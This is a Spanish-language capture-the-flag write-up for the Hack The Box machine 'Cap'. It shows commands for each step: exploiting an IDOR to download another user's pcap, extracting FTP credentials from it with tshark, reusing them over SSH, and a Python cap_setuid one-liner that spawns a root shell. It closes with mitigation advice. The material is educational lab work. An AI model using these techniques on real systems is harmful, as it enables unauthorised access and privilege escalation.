HTB - Cap
Cap es una máquina Linux de dificultad Easy centrada en un panel de
seguridad escrito en Python. Una vulnerabilidad IDOR permite descargar la
captura de red de otro usuario, que contiene credenciales FTP en texto
claro. Reutilizamos esas credenciales por SSH y escalamos a root abusando de
una capability de Linux sobre el binario de Python.
Ficha de la máquina
| Campo | Valor |
|---|---|
| Nombre | Cap |
| SO | Linux |
| Dificultad | Easy |
| IP | 10.10.10.245 |
| Foothold | IDOR en /data/<id> → pcap con credenciales FTP |
| Privesc | cap_setuid+ep sobre /usr/bin/python3.8 |
| Técnicas clave | IDOR, análisis de pcap, password reuse, Linux capabilities |
IPs, credenciales y flags son de ejemplo / a modo de referencia. No se publican flags reales.
Reconocimiento
1
nmap -sC -sV -p- --min-rate 5000 -oN nmap/cap.txt 10.10.10.245
1
2
3
4
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Gunicorn
El puerto 80 sirve un Security Dashboard en Python (Gunicorn/Flask) con
opciones para generar capturas de tráfico, ver netstat, IP config, etc.
Cadena de ataque
flowchart LR
A[nmap<br/>21/22/80] --> B[Security Dashboard<br/>en :80]
B --> C[IDOR en /data/id]
C --> D[/data/0<br/>pcap de otro usuario/]
D --> E[Wireshark<br/>credenciales FTP]
E --> F[SSH password reuse<br/>usuario nathan]
F --> G[getcap<br/>python3.8 cap_setuid]
G --> H[os.setuid 0<br/>root]
Foothold
IDOR en las capturas
Al pulsar Security Snapshot, la app redirige a una ruta del tipo
/data/<id>, donde <id> es un número que identifica tu captura (por ejemplo
/data/1, /data/2…). El identificador es predecible y no valida a quién
pertenece la captura: cambiándolo a 0 accedemos a la primera captura, generada
por otro usuario:
1
curl -s http://10.10.10.245/download/0 -o 0.pcap
Este es un IDOR (Insecure Direct Object Reference): el servidor confía en un identificador manipulable por el cliente sin comprobar autorización.
Análisis del pcap
Abrimos la captura y seguimos el flujo TCP del tráfico FTP (protocolo en texto claro):
1
2
3
# Con tshark, directamente extraemos usuario y contraseña
tshark -r 0.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
-T fields -e ftp.request.command -e ftp.request.arg
1
2
USER nathan
PASS Buck3tH4TF0RM3!
Acceso (user)
Las credenciales FTP están reutilizadas para la cuenta del sistema, así que entramos por SSH:
1
2
ssh nathan@10.10.10.245
# Password: Buck3tH4TF0RM3!
Ya podemos leer la flag de usuario.
Escalada de privilegios
Buscamos binarios con capabilities de Linux asignadas:
1
getcap -r / 2>/dev/null
1
/usr/bin/python3.8 = cap_setuid+ep
La capability cap_setuid permite al binario cambiar su UID sin ser SUID root.
Con Python podemos elevar a UID 0 y lanzar una shell:
1
2
3
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id
# uid=0(root) gid=0(root) groups=0(root)
cap_setuid+epsobre un intérprete equivale a darle root a quien pueda ejecutarlo. Las capabilities son más granulares que SUID, pero mal asignadas son igual de peligrosas.
Spoiler — dónde están las flags
La flag de usuario está en/home/nathan/user.txt y la de root en
/root/root.txt. No se incluyen aquí sus valores.
Mitigación
- Validar la autorización en cada objeto: comprobar que la captura solicitada pertenece al usuario autenticado (evitar IDOR). Usar identificadores no predecibles (UUID) es defensa en profundidad, no la solución principal.
- No usar protocolos en texto claro (FTP) para credenciales; usar FTPS/SFTP.
- No reutilizar contraseñas entre servicios y cuentas del sistema.
- Revisar y minimizar las capabilities asignadas a binarios
(
getcap -r /); nunca asignarcap_setuida intérpretes.
